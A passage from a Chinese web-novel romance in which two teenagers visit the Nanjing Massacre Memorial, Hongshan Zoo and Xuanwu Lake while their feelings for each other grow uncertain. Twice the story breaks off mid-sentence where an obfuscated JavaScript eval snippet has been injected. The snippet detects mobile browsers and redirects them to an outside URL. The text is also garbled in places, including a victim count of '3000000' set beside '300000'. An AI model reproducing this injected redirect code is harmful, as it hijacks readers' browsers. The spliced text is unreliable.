她的是把芭比联名款雨伞。很漂亮的粉红色,像天边的霞蔚,又像是害羞的少女的脸颊——但是很显然,江岁羽并没有这么认为。 他无言了几秒钟,认命地改口:“我去。” …… 今天的旅程注定是最特别的。 这点从2号线的语音播报就可窥见一二。 “云锦路站到了,此站到达侵华日军南京大屠杀遇难同胞纪念馆。” 最爱插播乱七八糟小广告的南京地铁,却只在这站,不会播报任何多余的话。 2口出来,对面就是纪念馆。 还没入场,室外广场的巨型雕塑就已经映入眼帘。11米高,母亲手托着死去的婴儿,大雨中仿佛是在呕血而泣。 这座雕像,名为《家破人亡》。 除了雨声,再也听不到其他的嘈杂。一把把伞连成海,海之下,是无尽的沉默。 楚晞走在江岁羽身旁,刷身份证进去。 入口设有领花之处。捐款任意金额,可以领一枝白色菊花。花很鲜活。 从雕塑广场穿过,一座座栩栩如生的雕像无言在雨中或矗立或匍匐或苟延残喘。面上的表情,只有恐惧、愤怒、憎恨、无奈,破碎…… 率先映入眼帘的是那个触目惊心的数字——300000. 遇难者,3000000. 自踏入这个地方开始,楚晞就再也说不出一个字。 沉重,唯余沉重。 入展馆,江岁羽收伞。他也不发一言。 馆内寥寥几盏灯,进去要先适应黑暗的氛围。 幸存者照片墙,亮着灯的表示他们仍是在世的见证者。而当老人离世七七四十九天时,展区工作人员会组织灭灯仪式。 从天而降的炮弹,坍塌火烧的房屋,残败不堪的身躯… 飞机的轰鸣,刺刀入肉的闷声,婴儿的啼哭,绝望的呐喊… 刺鼻的火药硝烟,弥漫的血腥味,腐臭的尸体… 烧杀肆虐,山河破碎。 不知疲倦的战争,可不可以别将一切都带走? 悲痛和愤恨如同两根抽紧的细线,将她的心脏密密麻麻地缠住,又拉又扯。血液不能流,呼吸无法通,腿重到必须要有一个搀扶物。 楚晞不自觉地拉住了江岁羽的腕骨。 手指抖着收紧,越来越紧。 他低头垂眼看了她一眼。 她的目光盯在那些慰安妇的照片上,一眨不眨。 他并没有将她推开。 注定不能成功的南京保卫战,只能换来一具又一具堆叠的尸身。被攻破的中华门,陷落前城墙上被拼死写上“誓复国仇”。 那一片呜咽的黑,最后终于在先辈浴血奋战后迎来光亮。 然而这一页史书,却是怎样也不能被抚平的永恒褶皱的纸。 在和平广场看着白鸽献完花,大雨依旧滂沱,滂沱到仿佛是三十万人的眼泪落下而成。即便走出展馆好远了,心情也压抑到好似还在1937年12月。 楚晞这个话匣子,已经有几个小时一反常态地没有出声了。 江岁羽不动声色地把伞往那边靠了靠。 一种试探。 然而没有回应。 他无声地叹了口气。 在等红绿灯的间隙,他提了提伞,略往前弯了弯腰,偏头去观察她的状态。 两双眼睛在同一水平高度上平视着。 楚晞抬起沾了水的睫,骤然看清了他的脸以及表情,突然呆怔。一行泪不听使唤地又无声落下,砸向地面,溅起一朵小水花。 相顾无言。 她当然没有想到偷偷掉眼泪,都会被发现。 他的腰又往下弯了弯,迟疑了两秒。 在下一滴泪即将夺眶而出时,拇指指腹的纹路轻轻擦过眼角。 与皮肤相触的摩挲带着炙热的温度。 她的眼泪,被人抹去。 江岁羽退开一小步:“都让你多带点纸了,不够用了吧?” 可能是错觉吧,他的语气听起来,竟然有一丝丝温柔。 没有任何前兆地,楚晞贴近了两步,转身扑入江岁羽的怀中。 他整个在原地愣住。 没想哭的,可是心脏还是像被攥住了一样,霎时任由眼泪横流,把他的衣服浸湿一大片。 “呜呜呜呜。”她埋在他肩颈,此刻什么也没想,什么不相干的念头也没有。她的声音哽咽到难以为继,“太难受了,江岁羽,呜呜呜,怎么会这么难受,我心脏疼……” 里面气氛那么沉重。 应该感到害怕的。 但她一点都不害怕。 可是。可是。 所有的声音,都在里面被按下了暂停键。 然而,纪念馆里仍是“人声鼎沸”,震耳欲聋。 一个个万人坑,一处处破烂不堪的角落。 一粒粒代表逝者的石子。 一点一滴,全是血与泪的痕迹。 楚晞几乎是嚎啕大哭,哭到颤抖,哭到鼻音重得让人听不出她在讲什么:“我在里面不敢哭……呜呜,我怕吵到别人…出来以后,我又怕……又怕你觉得我太矫情了……我没觉得丢人,可是,忍不住了,对不起……” 她揪紧他的衣领,用力,再用力,仿佛这样就能留住什么似的。 滚烫的泪珠落到他的皮肤上。江岁羽犹豫了下,伸出了左手拍拍她的脊背。 “我知道。”他轻声说。 她抱得如此之紧,仿佛隔着衣服,两个年轻且炙热的心同频共振地跳动着,严丝合缝地贴合着。 随着时间流逝,耸动的肩膀渐渐平息。 楚晞后知后觉不太好意思,干脆利落从他胸膛退出来,先倒打一耙:“你肯定也流过泪过。不然怎么知道要多带点纸?” “……嗯。”他答得简单。 她眉尖簇着:“真的?别是为了安慰我,骗我的吧?” 江岁羽有些好笑,“你这什么关注点啊。” 她眼角还红着,鼻尖翘着,一吸一吸的,瞧着挺可怜:“感觉你哭起来应该很好看。” “……???” 什么人呐! 竟然喜欢看人哭。 凉风拂面,心口热意却按捺不住,楚晞咬了咬唇,说:“我是文科生嘛,这段历史在书上反反复复出现过好多次。就想着,总有一天得亲眼要来瞧瞧。其他地方可以不去,可是我想,无论如何,既然来了,就得看望家人。至少得看看家人。” 说到这儿,她联想到了他的日记。 「12.13阴 下了一夜的雨,今天南京阴,万里无云,适宜出行。其他我懒得关心。 三十万家人,欢迎回家。」 她想他应该明白她胡言乱语在表达什么。 战火里的南京已然远去。 而灯火里的南京此刻相聚。 “我知道。”他果然又这么说。 “但是看了之后,现在反而不知道该怎么办了。”楚晞说,“想做点什么,却又不知从何做起。我才高考结束,考成什么样都还不知道呢,放在古代就是再普通不过赶考书生。要是运气差点,那就是落榜书生。而且,说得犀利点,我们这一代人好好活着不添麻烦就是最大的贡献了。” “你这么说也对,但是——” 刚讲出转折的两个字,就听见楚晞嗅了嗅鼻子咕哝说:“哇,香晕了。” “……” 从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15717584|173788||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纪念馆出来,走不了多久,就是茶南大街,也称南湖,南京的八大美食街之一。食物香气一飘,下着雨排的队都老长了。 楚晞点了份咸蛋黄鲜肉大馄饨,转瞬又排队买了冰糖蜜汁藕。 有点烫,她吹了吹勺子里的馄饨,轻轻咬了一口。肉馅很足,比起馄饨更像是个肉圆,咸蛋黄提鲜,用料扎实,喷香喷香。 斯哈着热气,她还不忘问:“你刚是不是有话没说完?” “没有。”他回。 冰糖蜜汁藕再甜,也甜不了他的嘴。说到这儿,发明粉藕加糯米的人真是天才,桂花味的蜜汁都把人香麻了。 “绝对有。”贪吃鬼这会儿脑子就格外清醒,还能把对话都复述一遍,不愧是一生擅长背书的文科生,“你这把话说一半的毛病能不能改改。这样会注孤生的!” 江岁羽显然对这个“威胁”不以为意。 “但是什么?”楚晞龇了龇牙,有种你不说我就马上咬你的既视感。自以为很凶,其实在旁人看起来仅仅只是很皮。 江岁羽想了想,过了会儿才开口:“刚才你说我们都很普通。这点我挺赞同。但是。” “我们可以普通,却不能平庸;可以被质疑,却不能怀疑自己;可以能力有限,却不能放弃前行。” “你说不知道该做点什么。其实也不必太过刻意。就把自己想象成是一颗种子,有阳光和雨水就萌芽,有土壤和空气就破土,有风就摇曳,有季节就不问花期。只管向下扎根,向上生长。即使这些条件通通都没有,那也没关系,我们就成为蕴养大地的小小养分。” 半只馄饨“哐当”一声掉进汤汁里,溅起碗里的辣油到衣服上,楚晞抽了纸巾擦了擦。 有一种豁然开朗的感觉。与其说是震撼,不如说是强烈的共鸣。 “你肯定不会担心凑满区区八百字的作文吧。”她团了团纸,扔进垃圾桶,“写东西好像蛮厉害的。” 这倒是真的。江苏高考和全国卷不太一样,它从来不要求写议论文,而是更把重心放在风花雪月和人文情怀上,培养出浪漫主义的诗人文人一点都不奇怪。 “是啊。”江岁羽不说那些虚头巴脑的东西,他坦荡应下,“高价找我代写的多了去了。” “代写?” “嗯,演讲稿,检讨,小作文什么的。” “会有人找你写情书吗?”楚晞问。 江岁羽正在喝水,听了这问句,猛地咳嗽了两声,接着抬眼和她对视上。她投过来的目光太过直白,打得人措手不及。 “有吗?”她追问。 江岁羽状似无意:“你问这个做什么?” “你开个价吧。”楚晞摩拳擦掌跃跃欲试,“我找你写。” 他蹙眉:“给谁?” “给我。” “我是问你写给谁。” “不是我写给谁。”楚晞说,“是以别人的名义写给我。” “?” “你愿意的话,用你的名义夸我一顿也可以啊,我不介意。”她眨巴眨巴眼睛,看起来无比真诚。 “不接。”江岁羽也不知道为什么心突然慌了下,他撇开眼,语气淡淡地婉拒,“从来没接过,不会写。” “……哦。” 回程还是乘地铁。 出了站,还得步行一截路回去。 楚晞捧着手机琢磨半天,说自己想买个东西。江岁羽点头说好。 能怎么办呢,外面还下着雨,伞只有一把。 “你在这儿等等我哦。我去去就回。” 楚晞把人安排好,举着伞就冲进了雨幕。 江岁羽百无聊赖地四处用眼神逡巡着。 这地方太过熟悉了,有什么建筑物、会经过几路公交车、下班高峰期在几点、人群会什么时候涌出来,他都一清二楚。不过生活就是这样,习惯了之后很少会有惊喜,乏善可陈。 倏然,有金色光辉洒下。闷热感涌了上来。抬头瞧了瞧,雨中居然出现了颗太阳。 他兀地想到汪曾祺的一句话。 人一定要爱着点什么,恰似草木对光阴的钟情。 …… “江岁羽!” 他应声转身。 少女打着透明伞,奔跑时踩过的小水坑溅起水花,明媚笑着叫他的名字。 她左手抱着一束在雨天中格外突兀的蓝紫色绣球花,花束正中央那朵盛放的向日葵迎着太阳昂起头颅。 天空中的那颗太阳高高地挂着,不计其数的雨滴却不断坠落,散在街道旁如盖的梧桐树叶上。滴答作响,滴答作响,怎么也停不下来。 阳光透过雨幕,一半金色,一半透明,一半明朗,一半模糊。 世界忽然填满色彩。 “江岁羽!”她抱着花使劲儿招了招手,又转瞬飞奔到他身边,敦地刹住,“喏,送你的!” 他愣了愣才道:“我?” 这种绣球花,又名“无尽夏”。他在中山植物园看过无数次,可从来没有任何一次比现在更耀眼。 “向下扎根,向上生长。”她仰着脸笑,“我们青年,向阳而生。” “哎,你不觉得家里有点单调吗?放在客厅怎么样?” “随你。” “明明是送你的啦。” “有什么区别。” …… 太阳雨落下的瞬间,江岁羽突然听见了风来自地铁和人海,才发现,原来他早给了她自我世界的通行证。 此时,此刻。 阴云开,金雨落。 无尽夏,向阳生。 7. 07红山动物园 之后的三天,江岁羽比刚认识时还要宅了几分。 同住一个屋檐下,本是抬头不见低头见,却硬生生被他玩成了对面不识。 牛首山去了,朝天宫去了,阅江楼也去了…… 好玩是好玩,但她感觉闷闷的,像前几日的大雨在心里还没放晴。 鲜花渐渐枯萎了,好不容易建立起来的关系也渐渐淡了。 男人心,海底针。 楚晞不明白。 她很想找他问他在想什么,可一时半会又找不到什么立场。他好像没有什么不同,但她感觉,就是不一样了。 太不一样了。 …… 楚晞咬着一根大布丁,命很苦地在爬山。 红山森林动物园,首先是红山,其次才是动物园。园区内手绘画很多,基本都是工作人员为爱发电,还有手写的介绍,可爱又细致。 八点多大熊猫干饭,九点钟考拉称重,十点多长相炸裂的猩猩在拼命整活…… 红山动物园明确打出“拒绝动物表演”的标识,但是吧,它耐不住动物自己硬要表演,一个个跟有爱豆意识似的,格外关照“粉丝们”,内心没准在OS:都不白来哦,都不白来! 白面僧面猴“杜杜”是这儿的顶流网红,爆炸头,长了一张抽象的“魑魅魍魉”厌世脸,丑得千奇百怪,偷感很重,但看着还萌萌的。它和它老婆上演的家庭伦理小剧场也格外有趣,光是瞧着心情都能变愉悦。 江岁羽日记里还提到,有只喉子在市区里作恶多端,结果被送进红山少管所,到了园区里面又不老实,最后被猴群管制不让上岸,现在还在水上划船飘着捡小东西果腹……命真苦啊。 唉,又想起他了。 如果他在就好了。 她有十万个问题想要问他。 即使他不回答也行。 她咬下最后一口,找了个垃圾桶扔了棍子,刚被逗乐的心情突然又急转直下。 中午点了特色皮肚面尝尝味,刚坐下就掏出手机翻看了下上午拍的照片,开始选图发朋友圈。 当然,别指望江岁羽能给他点赞。 她划着照片,气鼓鼓地想着,刚叹出一声,就发现自己翻到了他。 是那次新街口视频通话指路时,不小心截下来的。 他看着镜头,专心致志在带她绕出迷宫,讲话时弯起的弧度像在笑,但是亮亮的眼底里却没笑意。随便截的一帧都好看。 什么嘛,这简直就是男友感! 如果不是她的男友,那将毫无意义。 啊啊啊,受不了,干什么都能想到他。 毕竟他在这座城市生活了这么多年,也许去过每一个角落。她忍不住揣摩,他第一次看见同样的景色时会是什么表情?再加上,又有他的日记文字记录,仿佛是两条时间线重叠,让她踏上他走过的路。 楚晞:[江岁羽,你看!] 楚晞:[图片] 楚晞:[是不是很可爱?] 皮肚面上桌了。皮肚其实是炸猪皮做的臊子,下锅和面条一起炝的缘故,色泽金黄,保留了汤汁鲜美的同时,尚还保留着一份脆劲儿。 真烦啊。 真烫啊。 到底是因为烫而觉得烦,还是因烦才受不了烫,不得而知。 颅内这么打架了半天,发现竟才过去三分钟。 没有回音。 更烦了。 [江南,一个男的,对你忽冷忽热,是为什么?] 夏江南:[欲擒故纵?] 楚晞烫得伸了伸舌头,打字:[这个可能暂且先排除。] 夏江南:[哦,那多半是渣男。] 楚晞:[怎么可能嘛!] 夏江南:[不渣吗?你现在心里被搞得七上八下的,不渣就不该招惹情窦初开的少女。] ……可是,好像也是她先去招惹的吧。 楚晞:[那怎么办?我现在看什么都像他!!] 夏江南:[……] 夏江南:[猴也是?] 楚晞:[你看我朋友圈啦。] 楚晞:[正中那张,绝漂亮的金丝猴,叫“瑞瑞”!!宛如当年菩提老祖看悟空,我现在就是这种心态/抹泪.jpg] 夏江南:[天热了] 夏江南:[有些人的脑子也要降降温了] 楚晞:[……] 夏江南:[我瞧着你也矜持不了,那不如直接去问,看他什么反应?男的嘛,多半都是来者不拒,他要真这样你就赶紧跑吧。] 那要不这样呢? …… 打定主意之后,楚晞重振旗鼓开逛。 红山动物园大概是全国对动物最好的园区之一了吧,平等地对待每一只以此为家的朋友,甚至连水塘里一株藻类都拥有姓名。 “我们记录它们的名字,留下它们存在的痕迹,希望它们来去自由。” 读到这句话的时候,她是真的被感动到了。 浪漫的城市,有爱的人。 怎么能不心动呢? 园区里的老虎很会整活,上一秒她还兴冲冲给它仰拍特写镜头,下一秒它赐予“天降甘霖”,滋了底下游客一身,害大家抱头鼠窜。 “这下好了,被森林之王标记过了。”有游客苦中作乐地说。 是哦,都沾了森林之王的味道了,那就没什么好怕的了。 于是楚晞抱着一堆文创产品回去了,小熊猫毛绒公仔,动物趴趴花环,帆布包…… 开门的一刹那,听到里面突然乱七八糟滚落了什么东西,好像是有人仓惶间的不小心。然而打开门,客厅里别说是人,连根毛都没有。 市中心的房子都是老破小,这屋撑死了也就五六十平,一眼望得到底。 楚晞:[江岁羽,你在家吗?] 房间内部传来一声消息提示音。 看来在家。 大抵是太过明显了,他慢吞吞回:[嗯] 嗯??? “嗯”这个字大概可以列为楚晞十大讨厌的消息回复之一,其次还有“哦”“额”“6”……当然,名列top1的是不回。 她揣摩来揣摩去,仍然是没懂他突如其来的“我跟你不熟”是为了哪般。难道真的如同夏江南所说的那样吗? 她在原地立了一会儿,思考做与不做的后果。 认识快半个月了。 再过上两天,高考就得出分了。 可能也没心情再说其他事。 出完分,就得填志愿。 这么一想,距她离开南京的日子也没多远了。 以后就是天南海北。 再不抓紧的话。 再不抓紧的话…… 楚晞过去敲了敲江岁羽的房门。 里面那个人大约是有点耳背了,这么大的声响也没个动静。 “江岁羽,我在红山动物园买了公仔,送你一个。”她又敲了敲。 他倒是没有迟疑,直截了当地出声拒绝了:“不用。” 虽然早料到会这样,但门都不开,被拒得这么坦然,还是挺令人丧气的。 她心口像是有上 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楚晞又敲了敲门。但这下子话都说完了,她一时不知道该用什么借口比较好。 一定要一个借口吗? 楚晞沉了沉心,又闭了闭眼,遂深吸一口气,大呼小叫。 “开门啊!别躲在里面不出声!我知道你在里面!” “你有本事偷人,怎么没本事开门呐!开门!” 楚晞扬起来的手还停顿在半空中,门却从里边儿一把被拉开,屋内冷气扑面而上,冻得她一哆嗦。 她有点尴尬,也有点呼吸不畅:“你空调打这么低啊……” “嗯,冷一冷,脑子清醒。”他淡淡地问,“有事吗?” 眼下他身体斜斜搭在门边,单手抄着兜,语气算不上多热切。 黄昏,夕阳撒下的火红透过窗映衬在肌理上,也引起不了热烈,倒更显他神色更无动于衷了。 以往她这么演段子,他即使不笑,也怎么说都不该是这个表情。 她的身体忽然也和这屋一样,温度骤降。冷热交替间,人产生了一种失温感,有点麻木,也有点狼狈。 “就是问问,”她抿了抿唇,咬牙说,“我想去钟山风景区,你有兴趣一起吗?” 钟山风景区很大,包括众多景点,明孝陵、中山陵、音乐台、美龄宫……当然,还有那条长到看不见尽头的陵园路梧桐大道。 江岁羽没有看她,答得很干脆:“明天没空。” “哦,那后天呢?” 他说:“也没。” 她还偏不死心:“大后天呢?” 他终于抬眼瞧了她一眼,眼神难以捉摸,他说:“那天学校毕业典礼。” 然后再过一天,就是高考查分。 楚晞倏然认为自己大抵是坠入冰窖了,不然怎么可能比这16°的空调还凉。 算打过招呼了,江岁羽扭头又要回去,手刚搭上门把手,背后又及时轻声喊住:“江……” 没等她叫完,江岁羽闭了闭眼,微不可察叹了口气转身打断,“出分之后要应付很多人,应该更没空了。” “你自己一个人玩,如果迷路了,还是可以联系我。”他又补了句。 楚晞憋着嗓子“嗯”了声,重重地点下头。 一道门,再次隔绝了两个世界。 可是,她想,大家不都那么说吗—— 我和南京有个约定,等遇到心动的人,就去看梧桐树。 她想她这次可能得失约了。 8. 08玄武湖 初恋是件小事。 一件令人难过的小事。 从来没有过的情感体验,从来没遇见过这样的人。如今遇见过了,体验过了,却有鼓气堵在嗓子眼儿,出不得,退难收。 鼻尖酸了一晚上,无济于事。 楚晞无力地瘫倒,翻来覆去,难以入眠。 好像把一切都搞砸了。 她不明白。 谁能弄明白? 一早,楚晞悄悄出门了。 本来这一站并不是她今天的计划,但临时有变。人们都说,公园有一种效应,待够20分钟,即使什么都不做,也能变得很愉悦。 目的地玄武湖公园,从出租房骑共享单车只有大约花十分钟。 早上没那么热,风淌过面颊,像是能把一切的情绪都吹散也吹顺。 玄武门是南京明城墙的后开城门,开辟于清朝光绪帝年间,后因玄武湖而更名,是玄武湖的其中一个入口。 入内即是一大片高耸入云的水杉树,她漫无目的地逛着,却误入一群老头老太叔叔阿姨堆里。 这是晨练?太极?或是广场舞? 只是在原地愣了会儿,那群人就七嘴八舌地围上来了。 “哟姑娘,长得真漂亮!” “多大啊?” “什么学历啊?” “是不是本地人?” “找对象还是给人家介绍啊?” …… “……?” 搞半天楚晞才弄明白,这是号称中国四大相亲角之一的玄武湖相亲角,周末围在这儿的可谓是人山人海。 “18岁啊?18岁好啊!年轻!” “95后00后在这儿很吃香的呀!” “哎呀外地的呀!这恐怕不行!我们这都是奔着结婚去的,外地的麻烦了呀!” …… 虽然她原本就没想着要来这儿相亲,只是碍于好意不得已停留下来,但一晃被阿姨这么婉拒,还真的挺扎心的。 外地怎么了? 外地人就不能和南京人谈恋爱了吗? 楚晞悲愤交加地想。 从昨晚就开始怏怏不乐的心,这会儿更是雪上加霜。 “哎呀姑娘,你要是真喜欢我儿子……”阿姨话锋一转,似乎还保留了点转机,“考不考虑来南京上大学,毕业以后留在这儿?” 楚晞尴尬而不失礼貌地笑着。 谁喜欢你儿子啊? 我图他年龄大,图他啤酒肚,还是图他秃头? “其实……” 其实有考虑过在南京上学。 但分数还没出来,说什么都不靠谱。 当然,她不能就这么回答这位阿姨。 “其实不是我,”楚晞琢磨了下,偷摸啧了一声,“我是来给朋友看看的,是个男生。” 阿姨顿时有点失去兴趣,然而不知道她是热心肠还是怎么着都要跟自己儿子对比一下,她好奇地问楚晞口中的这个男生条件怎么样。 “啊……”楚晞一时半会儿没反应过来。她仔细回忆着她所了解的江岁羽,心里莫名紧了两下。 “18岁,身高…嗯…反正180以上。” “挺瘦的。” “南京本地的,家里住…河西吧。” “高中读的是这所学校……” 不等阿姨回应,她又郑重补充:“帅,很帅。” “……哈。” 这下尴尬而不失礼貌地笑着的人变成了这位阿姨,她嘴角要扯不扯的,看上去很无语。 阿姨摆了摆手,微皱着眉,语重心长地劝诫:“姑娘啊,年轻人不要找我们寻开心。” 啊? “家庭条件好外在好脑子好,还年轻,正常讲,后面都一大堆女生追哎,来什么相亲角?怕不是有什么隐疾哦。” “……” 从人堆里出来,没几步就到了环湖路。 垂柳拂岸,湖光山色,一步一景,色调光是看着就已经觉得治愈了。 阳光照在水面一闪一闪,鸭子浮来浮去,总有几艘游船在慢慢悠悠地划,岸边来闲逛的居民很多,生活气息很浓,是个巨大的能量场。 玄武湖的占地面积很大,分为好几个洲。洲,水中陆地也。环洲烟柳画桥、假山瀑布如画;樱洲春日是无尽花海;梁洲时不时会有花展;翠洲风景极好、视野开阔。还有超适合约会的情侣园,内有爱神广场和西式教堂等。 赏荷捞鱼,喝茶吹风,顺便逗逗松鼠。 山青草漫漫。楚晞躺在十里长堤的大草坪上,两手交握在脑后,舒舒服服地在发呆。 人生就是该浪费在这种地方啊。 她眯着眼望向湖岸对面高耸的紫峰大厦,伸出两只手掌上下摆出拍照的姿势。 那是出租房的方向吧。 江岁羽在干什么呢? 一天没见,好像快忘了他长什么样了。 可他拒绝我。 他没准儿是有什么隐疾! 才不是因为我不好。 她想。 我漂亮,性格好,成绩也不错,很受同学欢迎,上学的时候喜欢我追我的人也有很多。 我就是很好很好啊。 只是他不一样而已。 他和那些上学时候满身汗臭味,随时随地做出投篮动作,一言不合挂在教室前门引体向上的男生不一样。 所以他拒绝了我。 其实也没认识很久,那些好感也没有深刻到寻死觅活的程度,很快就会忘了。可能,这段时间,只是因为她寂寞而已。 很丢脸吗? 有一点。 但没关系,面具之下大家都寂寞。 可还是有点遗憾。 因为每一次心动都是独一无二的。 就像只要过了这一刻,也许再也看不到这样美丽的玄武湖日落了。 - 江苏这边有隐形的“门禁”。 不管长到多大岁数,只要你在外面玩,父母都会七点开始问什么时候回家,八点问结束了没,九点直接打电话,十点不回家就是“不孝”。 相比于有些城市丰富的烟火夜生活,南京夜晚最热闹的地方大抵是灯火通明的学校。 江岁羽知道楚晞一早就出门了,可能是不想和他正面对上,也可能只是并没有心上。 毫无睡意,下午组人回学校打了场球赛,估摸着她应该回去洗完澡进房间了,他才收拾东西走人。 然而,他预估错误。 她并没有回来。 八点多了。虽然他不至于认为她不孝,但大概从小被这座城市的文化熏陶着的缘故,说不担心那是假的。 他头次主动翻了翻她的朋友圈。 往日怎么着也得热热闹闹地发上两三条,今天却还一条都没有。 冷静了两天,他想明白了什么吗? 其实并没有。 …… “咚!咚!咚!” 震了天的拍门声把江岁羽从走神中唤醒。 他有点儿愣。 过了会儿,才想起来楚晞有钥匙,而且她拍门不是这个声儿。 外面那人已经按捺不住了:“江岁羽!江岁羽!开门啊!你爹我从西藏鬼混回来了!” 李炎歇了一小会儿,又开始拍,可能是着急了,像要把门拆了。 江岁羽无可奈何拉开防盗链,李炎跟只马蜂一样在外面团团转,头发挠得都能成蜂窝了。 他大呼小叫地奔进来,一进屋,就跟警犬似的四处巡视,没发现什么异常,又把目光放在江岁羽身上,仔仔细细地用眼神检查。 “你干嘛?”江岁羽问。 李炎:“在想你磨蹭这么久,是不是因为在做什么不可告人的事,比如这屋藏了个女孩儿什么的。” 江岁羽啧了一声,回头睨他:“不好意思,这儿本来就住一姑娘。你以后少来。” “别这么绝情啊!我硬座42小时回来的,腚都坐烂了,回来就到你这儿关心你,你不感动就算了,还赶我走?”李炎佯装要跳楼,但江岁羽压根不理他,他只好随意在沙发上坐下,摸了摸鼻子,“而且说起来,那姑娘应该没回来吧。我刚在玄武湖看见她了。” “她在玄武湖?” 李炎愤怒:“你为什么不先问我去做什么?” “你能干什么。”江岁羽觉得有点好笑,“我闭着眼猜,你点了个外卖,从南京站出来走两步到那儿啃干净了才来我这儿的。” “……”真准啊。 “我这不在火车上饿狠了么。”李炎委委屈屈地辩解,“去湖边听着小曲儿吃个饭怎么了?” 南京人有自己lalaland——玄武湖公园。白天去,傍晚去,夜晚去;老人去,年轻人去,小孩也去;看日出,看日落,晚上还有数不胜数的音乐会和吹拉弹唱。 江岁羽站起来,去拉冰箱门。门上还贴着小粉炉冰箱贴,楚晞从南博买回来的,他瞧了两秒,移开视线拿了瓶水扔给李炎。 李炎拧开瓶盖,囫囵吞咽了几口,才慢腾腾地说:“哎,你就说巧不巧?我在那儿正好碰上那姑娘,差点以为看错了。她吧,搁几个弹吉他的男大学生那边听得专心致志的呢——你也知道,周围一圈大学,南大、东南、南师、河海、南林……这几个好像是南艺的?我看着像艺术生,捯饬得挺帅的,小明星模样。” “哦,是么。”江岁羽又拿了瓶冰水出来,“啪”一下重重拍上冰箱门,然后,状似无意地问了一句,“比我帅?” 李炎被呛得连连咳到不止,他一言难尽地说:“得了吧,怎么可能。你也就是生错了地方,在江苏,卷生卷死卷考试,不然没准儿早早就被挖去当养成系爱豆了。” 江岁羽挑了下眉,拧上瓶盖,慢悠悠问:“吉他弹的什么歌?” “就苦情歌呗——”李炎啧啧两声,“撩小姑娘必备啊,我看你室友差点听得潸然泪下。” “……” “她可能受了点情伤吧。唉,这时候趁虚而入成功率可大了。” 江岁羽叹了口气:“年纪轻轻受什么情伤?” “又不是我说的。”李炎道,“她自己说今天失恋,我听见了。” 江岁羽没说话。 “你说我去追她怎么样?”李炎试探道,“不瞒你说,我见第一眼就对她有点感觉。漂亮,气质又纯,还很可爱!” 江岁羽手揣裤兜里,低头居高临下地看坐着说得天花乱坠的李炎,眼神无欲无求,盯了半晌。 李炎笑盈盈:“盯我干吗?江岁羽,你跟她合租,认识她前男友吗?要是认识,顺便帮我问问前任,我能不能追?” 江岁羽眼皮懒懒垂着,没什么情绪地讲:“不能。” 李炎有点儿愣住。 “又没问你,我是让你帮我去问——” 话还没道完,他瞧见江岁羽抬眸瞥了他一眼,审视般地看来,语气算不上多客气,径直打断了他的上一句。 “所以我不是已经告诉你了吗?不能。”① - 九点多了,楚晞没打算回去。 这里多热闹啊。散步的,夜跑的,谈恋爱的,唱歌的,人总得偷偷栖息在别人的快乐至上,让心被稍微按摩两下吧。 她不知道自己在别扭什么。 就像小时候不懂事跟父母吵架,逞一时意气离家出走,虽然出来之后不久就想通了,但就是不愿意主动回去,固执到偏偏要等他们找到自己,才能释怀。 被找到,在她看来等同于被在乎。 岸边的人陆陆续续地散场了。 歌声也渐渐淡了。 有男大学生问她还想听什么,她已经没什么想听的了,便婉拒了点歌邀请。 她躺坐在公园的长椅上看月亮。 旁边好像有什么人坐下了。 楚晞没管。 “好看吗?”那人问。 “好看。”她下意识接上。是特别漂亮的一轮月亮,不晓得是不是因为云层的关系,今晚月光肉眼瞧起来格外朦胧,如同添了一层蒙太奇滤镜,宛若入梦。 回答完了才发现声音有点熟悉。 楚晞扭头。 愣了。 你谁啊? 世界上会有两个长相一模一样的人吗? “月亮睡了你不睡。”江岁羽特自然地偏头,“怎么着,不想回去了?” 楚晞闻言慢悠悠坐起来,一字一顿地说:“没有。” 她坐直了,往江岁羽的反方向挪了点,拉开了距离。开什么玩笑?她都已经给自己做了八百次思想工作,终于哄好自己别在意了。 她可太擅长哄自己了。 他却忽然又这样出现。 楚晞哽了哽,胡诌说:“我就是想好好看看南京的夜景。” “嗯,好看吗?” “还成吧。”她指了指,“你看对岸的紫峰大厦,造型像挂了根避雷针,又像古早的大哥大。还有那鸡鸣寺,网上吹得神乎其神,但它其实一点儿都不灵。” 江岁羽问:“你许什么愿了?” 楚晞又看了他两眼,遂低下头避开视线,咕哝着说:“反正不灵。” 江岁羽点了点头,提了个建议:“这儿蚊子多,走不走?” 说实话不太想。 他太举重若轻了。说来就来,说走就走,显得她很无理取闹似的。她宁愿在玄武湖听夏日的虫鸣鸟叫,也不想回去相顾无言。当然,蚊子这种生物无论在什么时候都一点不可爱。 “歌还没听完。”楚晞抬了抬下巴,湖边观景平台上几个大学生还在唱,都是些深夜emo曲目,四周坐了零零散散的观众,小声地跟唱着。她心想要不是他们,她早就走出来了。 江岁羽朝那边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15717586|173788||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看了眼。 “挺帅。”他随口评价了句。 “是么。”楚晞扬扬眉,“天太黑,没注意看。” “听完了,你就愿意走了?” 楚晞并没有给准话,她承认自己有点幼稚,但她不想反思自己,于是喃喃说:“再说吧。” “行。” …… 行什么行。 在她听明白之前,江岁羽已经过去交涉了。 楚稀以为他是要把别人劝走,没成想人家的确让出了位置,他却是跨上舞台,大大方方地坐下了。 原来的主唱二话不说,把背着的吉他卸下来给他。 他更高一些,麦架位置不够,他伸手在那儿漫不经心地调。 楚晞诧异地看着江岁羽。 